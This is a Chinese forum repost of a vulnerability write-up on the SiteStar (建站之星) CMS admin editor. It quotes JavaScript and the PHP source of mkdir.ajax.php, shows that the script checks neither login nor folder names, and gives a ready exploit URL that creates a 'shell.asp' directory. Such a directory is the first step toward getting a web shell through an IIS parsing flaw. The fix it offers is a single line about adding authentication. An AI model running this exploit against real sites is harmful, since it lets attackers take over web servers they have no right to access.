• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    建站之星全版本后台通杀getshell的解析与解决方法

    发布者: 土豆服务器 | 发布时间: 2025-6-28 23:20| 查看数: 45| 评论数: 0|帖子模式

    找到一个fck改的编辑器,准备用解析洞日之。

    然后发现无法这玩意直接过滤了“.”创建不了解析文件夹,
    反复试了几次之后发现这个过滤是有延迟的。大概在0.1秒后 才会去掉。于是果断查看源码看函数:

    复制代码代码如下:
    function addSort(obj) {
          $(obj).parent().find(‘span’).css(‘display’,'inline-block’);
          $(obj).css(‘display’,'none’);
          $(obj).parent().find(‘span > input:first’).focus();
          }
          function newDir(obj) {
          var pth = $(obj).prev().attr(‘value’);
          var basepth = $(‘#gtcurdir option:selected’).text();
          if (pth.replace(/^\s+|\s+$/g,”).length == 0) { //这里对定义的PTH变量进行了判断,(“/^\s+|\s+$/g,”),思路是 判断如果文本框内不算以上字符 长度等于0则继续执行.
          alert(“请输入字符”);
          $(obj).prev().focus();
          return false;
          } else {
          $.ajax({
          type : “GET”,
          dataType : “text”,
          url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,//这里直接发送url 基本类型+新文件夹名+文件夹名。
          success : function(response) {
          switch (response) {
          case ’0′:
          $(obj).prev().val(”);
          $(obj).parent().css(‘display’,'none’);
          $(obj).parent().parent().find(‘a’).css(‘display’,'inline-block’);
          $(‘<option value=”‘+basepth+pth+’/” selected=”true”>’+basepth+pth+’/</option>’).appendTo(‘#gtcurdir’);
          break;
          case ‘-1′:
          alert(“文件夹已存在!”);
          $(obj).prev().focus();
          break;
          case ‘-2′:
          alert(“新建文件夹失败!”);
          break;
          }
          },
          error : function(response) {
          alert(“请求失败!”);
          return false;
          }
          });
          }

    看完函数 发现有一个很有意思的地方:
    url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,
    这里直接post出去命令。那么我们可否构造呢
    于是查看了这个脚本的源码:
    <?php//!!!竟然没有验证

    复制代码代码如下:
    header(‘Conten-type:text/html; charset=UTF-8′);
    define(‘SSFCK’, str_replace(“\\”, “/”, dirname(__FILE__)));
    $adminRoot = str_replace(“\\”, “/”, substr(SSFCK, 0, -10));
    define(‘SSROOT’, str_replace(“\\”, “/”, realpath($adminRoot.”/..”)));
    $err = ’0′;
    $basedir = trim($_GET['basedir']);//这里直接GET来自前面那个urlpost来的变量
    $newdir = trim($_GET['newdir']);
    // is or not exist dir
    $hd = dir(“../../”.$basedir);
    while(($path = $hd->read()) !== false) {
    if ($path == $newdir) {
    $err = ‘-1′;
    break;
    } else continue;
    }
    if ($err != ‘-1′) {
    if (!mkdir(“../../{$basedir}{$newdir}”, 0755)) $err = ‘-2′;
    }
    echo $err;
    ?>

    程序员果然天然呆,不验证登陆,这里不验证文件名,任凭urlpost任意信息。
    到这里知道了程序漏洞所在。附上exp:
    http:// /admin/fckeditor/mkdir.ajax.php?basedir=upload/image/&newdir=shell.asp
    返回0则表示成功。
    修复方案:
    对mkdir.ajax.php加验证

    来源:https://www.jb51.net/hack/56457.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    ×

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表